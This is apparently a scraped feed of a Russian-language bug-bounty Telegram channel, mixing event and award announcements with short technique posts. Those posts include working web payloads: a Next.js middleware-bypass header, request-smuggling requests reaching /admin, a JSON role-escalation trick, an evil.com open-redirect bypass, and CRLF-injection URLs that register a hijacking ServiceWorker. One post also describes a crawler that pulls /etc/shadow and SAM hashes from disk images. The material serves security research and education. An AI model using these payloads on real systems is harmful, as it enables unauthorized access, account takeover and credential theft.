Чат: @shadow_chat_tg Предложения, вопросы, сотрудничество: @shdwpwn
10 июля заканчивается прием заявок на доклады OFFZONE 2025. Если у вас есть чем поделиться с комьюнити, то еще не поздно отправить свою заявку
Читать полностью…Сейчас мой краулер (https://github.com/s0i37/crawl) парсит следующие форматы: word, excel, презентации, visio, pdf - из всех этих типов умеет извлекать вложенные картинки, так же парсит все типы архивов с бесконечной вложенностью, cab/rpm/deb-пакеты, все исполняемые файлы (pe,elf), распознает текст на картинках (ru,en), в аудио (ru,en), с fps=1 распознает что есть в видео включая звук, извлекает thumbs.db, sqlite, дампы трафика, lnk-файлы, декомпилирует байткод, и логи винды evtx - одним словом всё, чаще всего лежит на шарах. И делает это все за какие то 300 строк кода на bash.
А теперь благодаря специально собранному мини образу alpine, с ntfs-3g и impacket, запускаему через qemu, краулер из любого образа диска быстро и без скачивания извлечет /root/.bash_history, /home/*/.bash_history, /etc/shadow, историю браузера, а так же хэши sam и security.
Прием заявок на Pentest Award заканчивается 30 июня. Если вы, как и я, еще не успели отправить свою статью, но есть желание, то сейчас еще не поздно.
Я в том году, писал райтап по своей находке в рамках багбаунти. Зашел на сайт, чтобы скрины поделать, а в итоге нашел еще пару критов, тк в личном кабинете за это время обновился функционал.
Как итог, в призовые я не попал, но свою награду все таки нашел.
Там ребята из BI.ZONE Bug Bounty сейчас активно ищут себе триажера на платформу. Все желающие могут напрямую скинуть своё резюме @Andrew_Levkin или @nKuz98.
Читать полностью…Там кстати стартанул прием заявок на Pentest Award 2025. Я подавался в прошлом году, смог попасть в шорт лист, но до тройки лучших, по мнению жюри, не дотянул.
В этом году появились новые номинации, в том числе за лучший факап, когда что-то пошло не по плану и вы, например, положили прод.
У меня в заначке есть еще пару интересных кейсов на багбаунти, которые, возможно, оформлю в виде статьи и также попробую попытать удачу в этом году.
Eсть у меня один приятель, с которым время от времени случаются продуктивные коллабы на bug bounty. Причём он даже не багхантер, а скорее разработчик на консалтинге, который однажды соприкоснулся с моим репортом.
В очередной раз он притащил в наш чат какие-то результаты в виде self-XSS. Но, к моему удивлению, он не оставил эту историю как есть, а допихал self-XSS через wkhtmltopdf и wicked_pdf(Ruby wrapper) в максимально опасную RCE. Причём с RCE его явно хотели прокатить в оценке критичности, ну и я ему подсказал, в каких файлах можно пошариться для определения действительно правильной критичности. В итоге он получил заслуженный critical. И даже написал handball10/from-self-xss-to-rce-in-ruby-on-rails-1f9f2d33c1cb">статейку об этой находке.
PS: мне кажется я бы даже не стал пытаться допинывать self-xss. Но видимо пришло время пересмотреть свои взгляды на мир client-side issues🙈
handball10/from-self-xss-to-rce-in-ruby-on-rails-1f9f2d33c1cb" rel="nofollow">https://medium.com/@handball10/from-self-xss-to-rce-in-ruby-on-rails-1f9f2d33c1cb
Хотите задать вопрос топовым хакерам из Synack и HackerOne?
В нашем канале коммуникации 15 апреля в 19:00 (мск) пройдет стрим в формате ответов на все ваши вопросы с топовыми хакерами Hussein Daher и Nikhil "Niksthehacker" Shrivastava!
Что будет на стриме?
🔥 Как гости стрима пришли в багбаунти и что стало точкой невозврата?
🔥 На каких уязвимостях они фокусируются и почему?
🔥 Как понять, когда копать глубже, а когда менять таргет?
🔥 Самые запоминающиеся репорты, инсайты и лайфхаки.
Кто в эфире?
🔹 Hussein Daher — этичный хакер, который с 2014 года нашел более 1500 уязвимостей более чем в 800 компаниях. Основатель WebImmunify․com, компании, которая занимается пентестом и консультациями по кибербезопасности.
🔹Nikhil Shrivastava (Niksthehacker) — Synack Legend Hacker — помог найти более 1500 уязвимостей в продуктах Google, Microsoft, Tesla. Выступал на DEF CON, BlackHat и RSA.
Модератором стрима выступит Александр Мошков.
💡 Готовьте вопросы — спикеры ответят на все, что вы захотите узнать!
Изучая документацию jadx наткнулся на упоминание, что его можно подключить как библиотеку в свое Java приложение. И эта идея настолько понравилась, что в итоге вылилась в небольшой комбайн, который удобно использовать для первоначальной обработки JAR/WAR/APK приложений при анализе защищенности.
https://github.com/BlackFan/BFScan
BFScan анализирует строковые константы в Java-классах и ресурсах приложения для поиска строк, похожих на URL, пути или захардкоженные секреты.
А также формирует сырые HTTP запросы и OpenAPI спецификацию на основе конфигов, аннотаций методов и классов. При этом поддерживаются как клиентские библиотеки (например, Retrofit), используемые в APK для взаимодействия с бэкендом, так и серверные технологии, такие как Spring-аннотации. Что значительно облегчает тестирование API, когда тело HTTP запроса необходимо сформировать из десятка вложенных классов.
Рассмотрим пример работы утилиты с классом, использующим Spring-аннотации.
@RestController
@RequestMapping("/api")
public class UserController {
@PostMapping("createUser")
public String create(@RequestParam Optional<String> someParamName, @RequestBody User user) {
return "response";
}
POST /api/createUser?someParamName=value HTTP/1.1
Host: localhost
Connection: close
Content-Type: application/json
{
"name": "name",
"age": 1
}
🤨 С вас 1e-1 рублей
На практике часто приходится сталкиваться с тестированием платёжных систем. Данная методичка поможет пентестерам проводить более тщательный анализ безопасности таких систем. На проекте также воспользовался данным материалом.
▎Краткое содержание:
➡️Уязвимости типа Time-of-Check-Time-of-Use (TOCTOU) и Race Condition;
➡️Манипуляции с параметрами;
➡️Атаки повторного воспроизведения (Replay Attacks);
➡️Ошибки округления;
➡️Проблемы обработки числовых данных;
➡️Уязвимости, связанные с номерами карт;
➡️Динамическое ценообразование, цены с допуском и реферальные схемы;
➡️Перебор и угадывание данных (Enumeration and Guessing);
➡️Проблемы криптографии;
➡️Загружаемые и виртуальные товары;
➡️Скрытые и небезопасные backend-API;
➡️Использование тестовых данных в production-среде;
➡️Арбитраж валют при пополнении/покупке и выводе/возврате средств.
Документ переведён на русский язык, но оригинал на английском также сохранён. Когда встретится кривой перевод, всегда можно свериться с оригинальным текстом страницей выше.
Сохраняйте себе, чтобы не потерять!
#материал
⌨️ Путь от ограниченного Path Traversal к RCE с вознаграждением в $40,000
История о нахождении и раскрутке RCE в публичной багбаунти программе.
Ссылка на статью
#web #rce #recon
🪲 Дисклоз уязвимостей в программе BI.ZONE Bug Bounty
Ребята из @bizone_bb раскрыли две уязвимости на их платформе. Респект им и @guleroman за находки.
1️⃣Уязвимость, позволяющая админу любой программы менять данные других пользователей, что приводит к захвату аккаунтов багхантеров или лишению доступа в кабинет других админов программ.
https://bugbounty.bi.zone/reports/5647
2️⃣Broken Access Control, позволяющий загрузить файл и прикрепить его ко всем отчетам и комментариям на платформе от имени автора отчета.
https://bugbounty.bi.zone/reports/5646
#web #idor #ato
💳 Про инъекции в JSON
JSON стал основой большинства коммуникаций API и его простота часто упускается из виду в моделях угроз. Тем не менее, в современных веб-приложениях и API-интерфейсах в конвейере запросов может использоваться несколько анализаторов, каждый со своими особенностями и уязвимостями. Расхождения между парсерами в сочетании с многоступенчатой обработкой запросов могут привести к серьезным уязвимостям.
Рассмотрим пример когда объекты JSON напрямую сериализуются в базу данных (MongoDB, Couchbase, DynamoDB, CosmosDB и т.д.) и десериализуются во внешние компоненты, которые используют разные анализаторы.
POST /user/create HTTP/1.1
...
Content-Type: application/json
{
"user": "dana",
"role": "administrator"
}
HTTP/1.1 401 Not Authorized
...
Content-Type: application/json
{"Error": "Assignment of internal role 'administrator' is forbidden"}
ujson
, мы можем добавить символ Unicode, который обрежется анализатором и поможет обойти данную проверку.POST /user/create HTTP/1.1
...
Content-Type: application/json
{
"user": "dana",
"role": "administrator\ud888"
}
HTTP/1.1 200 OK
...
Content-Type: application/json
{"result": "OK: Created user ‘dana’ with the role of ‘administrator’"}
↔️ Open Redirect и SSRF в Spring
Если вам попалось приложение на Spring и вы пытаетесь раскрутить SSRF или Open Redirect, то обратите внимание на недавнее CVE-2024-22243.
Символ «левой квадратной скобки» [
в сегменте юзеринфо может привести к тому, что UriComponentsBuilder
в Spring вернет значение имени хоста, которое отличается от интерпретации крупных браузеров, что может позволить обойти вайтлист и обратиться к закрытому ресурсу.
http://target.com/redirect?url=https://target.com%5b@evil.com
🌧Как мы получили хранимый XSS на каждом сайте AEM CLOUD, трижды
От банальной оплошности в проверке префикса пути и тонкостей кэширования CDN, до оригинального использования символов табуляции в URL и особенностей обработки редиректов в Fastly Edge Worker.
Читать статью
#web #xss #cloud #proxy
Server-Side XSS → SSRF → Компрометация облачной инфраструктуры: как одна картинка стоила целого облака
В этой статье разберем атаку, начавшуюся с уязвимости XSS в генераторе изображений и завершившуюся получением полного доступа к облачной инфраструктуре.
https://blog.deteact.ru/serverside-xss-ssrf-cloud-hacking/
Интересное видео с демонстрацией Account Takeover через punycode
https://youtu.be/Cj1sOFHDClM
А также статья с примером, как багхантер получил баунти за такую багу
https://infosecwriteups.com/the-most-underrated-0-click-account-takeover-using-punycode-idn-attacks-c0afdb74a3dc
🌚 @poxek
Год назад эту защиту нельзя было обойти, однако сейчас это стало реально. Про интересную особенность рассказали в X.
Дело в том, что раньше нельзя было использовать точку в протоколе, но теперь браузер Chromium ее поддерживает (URL
вернет действительное имя хоста с любым недействительным протоколом, даже с точкой)
Соответственно, мы можем использовать пэйлоад типа evil.com://www.example.com
. Хост www.example.com
будет в списке разрешенных, к параметру добавится префикс «https://
» и мы получим редирект на https://evil.com//www.example.com
.
#web #bypass
😀😃😄😁 Выложили записи докладов с BUGS ZONE 4.0
Ивент вышел очень насыщенным. Просто оставим это бинго здесь без лишних слов. Уверены, у каждого участника найдется хоть один пункт, достойный галочки.
А всем, кто не смог быть с нами на очном ивенте, предлагаем посмотреть записи докладов:
🔷(Не)безопасные бакеты
Гулевский Роман (mr4nd3r50n)
VK / YouTube
🔷А как сканить
Сиряк Илья (shdw)
VK / YouTube
Приятного просмотра!
В эту пятницу слетал в МСК, куда меня позвали на BugZone 4.0 и на котором я также выступил с лайтовым докладом про сканирования на багбаунти.
В положительную сторону, как всегда, отмечу крутую организацию, мерч, активности, напитки и всё такое. Из минусов, лично для меня, это раннее завершение мероприятия. К сожалению, не со всеми успел пообщаться. Кроме того, многих знакомых просто не было.
В остальном, всё отлично, ждем новых программ и активностей. Багхантить пока особо некогда, но, надеюсь, быстро раскидаю все свои дела и в ближайшее время вернусь к тыканью кавычек.
🖥 Вы просили — мы открыли!
Стартуем с практикой раскрытия отчетов от багхантеров! На платформе Standoff Bug Bounty уже доступны первые 7 отчетов, подготовленные cutoffurmind, kedr и circuit.
Делимся инсайтами авторов🔹
circuit:
«Начинающие багхантеры должны как-то учиться. Учиться на чужих примерах — это отличный вариант. Да и программы будут получать больше репортов после дисклозов, мне так кажется. Кого-то эти отчеты смогут мотивировать на поиск уязвимостей».
«Это редкий вариант эксплуатации blind RCE, когда на выходе имеем только exit status код процесса. А еще уязвимость была найдена после анализа исходного кода проекта на GitHub».
«Помимо обмена опытом (а большая часть багбаунти — это изучение находок других хантеров), дисклозы создают ощущение «движухи» и подталкивают тебя к тому, чтобы тоже пойти и потыкать программу. Кроме того, можно посмотреть, как компания оценивает уязвимости и высчитывает критичность — ведь одна и та же XSS может быть как medium, так и high-critical».
↔️ Next.js и повреждённый middleware
Раскрыли подробности новой уязвимости в Next.JS CVE-2025-29927
. Уязвимость затрагивает все версии Next.js начиная с 11.1.4. Суть проблемы — некорректная обработка заголовка x-middleware-subrequest
, позволяющая полностью игнорировать middleware, включая проверку авторизации и перезапись путей.
Как это работает
Next.js использует x-middleware-subrequest
для внутренних нужд: он указывает, какие middleware уже были пройдены. Однако злоумышленник может сам подставить значение, указывающее, что middleware уже обработан, и тем самым обойти все проверки.
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
GET /admin/dashboard HTTP/1.1
Host: vulnerable.site
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
🔃 OpenResty/lua-nginx-module: Уязвимость HTTP Request Smuggling в HEAD-запросах
Раскрыли подробности CVE-2024-33452
. При обработке HTTP/1.1-запросов lua-nginx-module
некорректно разбирает HEAD-запросы с телом, воспринимая тело запроса как новый отдельный запрос.
Пример
Обычно прокси-серверы интерпретируют следующий HTTP-запрос как единый, поскольку GET /smuggle
находится в теле HEAD-запроса:
HEAD / HTTP/1.1
Host: localhost
Content-Length: 52
GET /smuggle HTTP/1.1
Host: localhost
HEAD / HTTP/1.1
Host: localhost
Content-Length: 122
HEAD /app HTTP/1.1
Host: localhost
Connection: keep-alive
GET /app/assets?<script>alert(origin)</script> HTTP/1.1
X:
/admin
. Злоумышленник может скрыть GET-запрос к /admin
внутри HEAD-запроса и обойти защиту.HEAD / HTTP/1.1
Host: victim.com
Content-Length: 40
GET /admin HTTP/1.1
Host: victim.com
😆 (Не)секретный чатик багхантеров
А вы знаете, что у нашего комьюнити есть чат, в котором общаются исследователи и команда платформы? Там уже больше 250 человек, не хватает только вас!
Залетайте в чат, чтобы:
🔵Общаться с другими хантерами.
🔵Получать помощь и делиться опытом.
🔵Быть на связи с командой платформы.
🔵Оставаться в курсе новостей.
🔵Вместе посещать багбаунти-ивенты.
🔵Делиться мемами и просто болтать о багхантинге.
Присоединяйтесь, будем вместе прокачиваться в работе с уязвимостями ;)
По результатам 2024 года вошел в топ-3 на @bizone_bb. Сдавал, да и в целом багхантил, достаточно мало, что видно по количеству отчетов. Но если садился, то старался сдавать в основном баги с высокой критичностью, что видно по грейду и рейтингу. Ниже немного статистики.
Принято - 50
Дубликатов - 29 (большая часть high/critical)
Из принятых:
Critical - 14
High - 11
Medium - 19
Low - 6
Результат мог быть и лучше, если бы я тратил больше свободного времени на багхантинг, но, в целом, и так не плохо. Отдельное спасибо ребятам за всякие ивенты, подарки и прочие ништяки, это всегда круто.
🔃 WebSocketChecker для Burp Suite
Подвезли расширение для поиска утечек данных в WebSocket-сообщениях. Автоматически находит ключи API, токены и другие секреты.
Ссылка на GitHub
#web #tools #leak
Сегодня мы познакомимся с уязвимостью Insecure Deserialization на примере нескольких задач с PortSwigger и Standoff365 👨💻
В статье мы разберём, как устроены процессы сериализации и десериализации, а также напишем собственные эксплойты для реализации уязвимостей 😻
Подробнее
Ну и раз я вспомнил, что у меня есть Telegram канал - нужно запостить что-то полезное)
Если вы обнаружили CRLF Injection, которая позволяет перезаписать HTTP ответ и сделать XSS, - то ее импакт можно увеличить с помощью ServiceWorker.
Для регистрации ServiceWorker необходимо:
1) Иметь возможность выполнения JavaScript в контексте сайта
2) Наличие JavaScript файла на сервере с корректным Content-Type
Используя CRLF Injection оба этих условия легко выполняются:
XSS
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:20%0D%0A%0D%0A<script>XSS</script>
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0AContent-Length:7%0D%0A%0D%0AJS_file
Service-Worker-Allowed:/
, который подменяет все HTTP ответы на строку Fake response.https://example.tld/some/path/foo/bar/?param=x%0D%0AService-Worker-Allowed:/%0D%0AContent-Type:text/javascript%0D%0AContent-Length:162%0D%0A%0D%0Aself.addEventListener(%22fetch%22,function(event){event.respondWith(new%20Response(%22Fake%20response%22,{status:200,statusText:%22OK%22,headers:{%22Content-Type%22:%22text/html%22}}))})
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:378%0D%0A%0D%0A%3Cscript%3Enavigator.serviceWorker.register('/some/path/foo/bar/?param=x%250D%250AService-Worker-Allowed:/%250D%250AContent-Type:text/javascript%250D%250AContent-Length:162%250D%250A%250D%250Aself.addEventListener(%2522fetch%2522,function(event){event.respondWith(new%2520Response(%2522Fake%2520response%2522,{status:200,statusText:%2522OK%2522,headers:{%2522Content-Type%2522:%2522text/html%2522}}))})',{scope:'/'})%3C/script%3E
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0ATransfer-Encoding:chunked%0D%0A%0D%0A7%0D%0AJS_file%0D%0A0%0D%0A%0D%0AЧитать полностью…
🙏 Розыгрыш проходок BUGS ZONE 3.0
В ноябре планирую поехать на оффлайн часть приватного ивента для багхантеров BUGS ZONE 3.0. Если не получили приглашение, то у ребят из BI.ZONE Bug Bounty сейчас проходит розыгрыш проходок.
Обещают доклады, подарки и всякие интересные активности, а также вы сможете увидеть и пообщаться с множеством топовых багхантеров, представителями площадки и вендоров.